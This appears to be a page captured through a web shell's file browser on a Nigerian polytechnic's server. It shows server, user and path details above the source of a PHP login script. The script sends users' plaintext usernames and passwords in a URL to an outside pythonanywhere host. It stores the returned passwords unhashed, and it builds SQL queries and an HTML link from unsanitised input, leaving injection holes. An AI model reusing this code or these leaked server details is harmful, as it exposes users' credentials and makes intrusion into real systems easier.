| Server IP : 172.64.80.1 / Your IP : 172.70.50.62 Web Server : Apache System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : federalpolyede.edu.ng_idh35skikv ( 10000) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/phpStuff/ |
Upload File : |
<?php
//session_start();
//$url="http://salimdotpy.pythonanywhere.com/api/login?username=CS20200300927&password=CS20200300927&ipaddress=102.88.36.58&status=1";
//$json=file_get_contents($url);
//$res=json_decode($json,true);
//print_r($json);
//
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
//
//die();
////
require_once('../connect.php');
$db=db_connect();
//extract($_POST);
function HTTPConnect($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL , $url);
// curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
// Specify the path to the CA bundle file
$caFilePath = __DIR__ . '/pm/cacert.pem';
if (file_exists($caFilePath)) {
curl_setopt($ch, CURLOPT_CAINFO, $caFilePath);
} else {
echo 'CA bundle file not found.';
}
// curl_setopt($ch, CURLOPT_CAINFO, 'pm/cacert.pem');
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Curl error: ' . curl_error($ch);
}
curl_close($ch);
return $response;
}
if ($sta<>1){
$sta=0;
}
$ip2=$ip2= $s = $_SERVER['REMOTE_ADDR'];
//$ip2=$ip2=$_SERVER['HTTP_CF_CONNECTING_IP'];
$PortalURL = "https://salimdotpy.pythonanywhere.com/api/login?";
$parameters = $PortalURL."username=$username&password=$password&ipaddress=$ip2&status=$sta";
$jsondata = HTTPConnect($parameters);
//echo $jsondata;
//die();
//echo '<br>';
//echo '<br>';
//echo '<br>';
function checkMode($ipa)
{
$db = db_connect();
$sqls = "select * from defence_table where ip='$ipa' and status=1";
$sql = $db->query($sqls);
$num = $sql->rowCount();
if ($num>0){
$dd=$sql->fetch(PDO::FETCH_BOTH);
$st=$dd['status'];
$question1=$dd['question1'];
$question2=$dd['question2'];
$ip=$dd['ip'];
}else{
$st=0;
}
return array($st,$question1,$question2,$ip);
}
$kk=checkMode($ip2);
$ID=$kk[0];
//echo "========";
$QUESTION1= $kk[1];
$QUESTION2= $kk[2];
$IP= $kk[3];
//echo $kk[0];
//die();
//$kk=1;
//echo $kk;
if ($ID==1){
// die("my name is");
echo "<br><br><h4>You Have Been Blocked</h4><br>";
echo '<br><h3><a href="../phpStuff/unblock.php?q1='.$QUESTION1.'&q2='.$QUESTION2.'&ip='.$IP.'">Click Here to Unblock</h3></a>';
die();
}else if($kk==2){
die("<h2>You Have Been Blocked</h2>, <h3><br>KINDLY Contact 07061230735 -WhatsApp ONLY or send a mail to adisasp@federalpolyede,edu,ng</h3>");
// die("You Have Been Blocked on 2");
// header('location:login.php');
}
$arrObj = json_decode($jsondata,true); // Set second argument as TRUE
//var_dump($arrObj);
$RecKount = count($arrObj).'<br>';
//echo "am here";
$ipAddress= $arrObj['ipaddress'];
$Username= $arrObj['username'];
$Password= $arrObj['password'];
$Question1= $arrObj['question1'];
$Question2= $arrObj['question2'];
$modeofplay= $arrObj['modeofplay'];
$defence= $arrObj['defence'];
$Status= $arrObj['status'];
$asp="INSERT INTO `defence_table` (`sn`, `ip`, `usernamea`, `passworda`, `defence_id`, `modeofplay`, `question1`, `question2`, `status`, `dateInserted`)VALUES (NULL, '$ipAddress', '$Username', '$Password', '$defence', '$modeofplay', '$Question1', '$Question2', '$Status', CURRENT_TIMESTAMP)";
$saving=$db->query($asp);
//die();
?>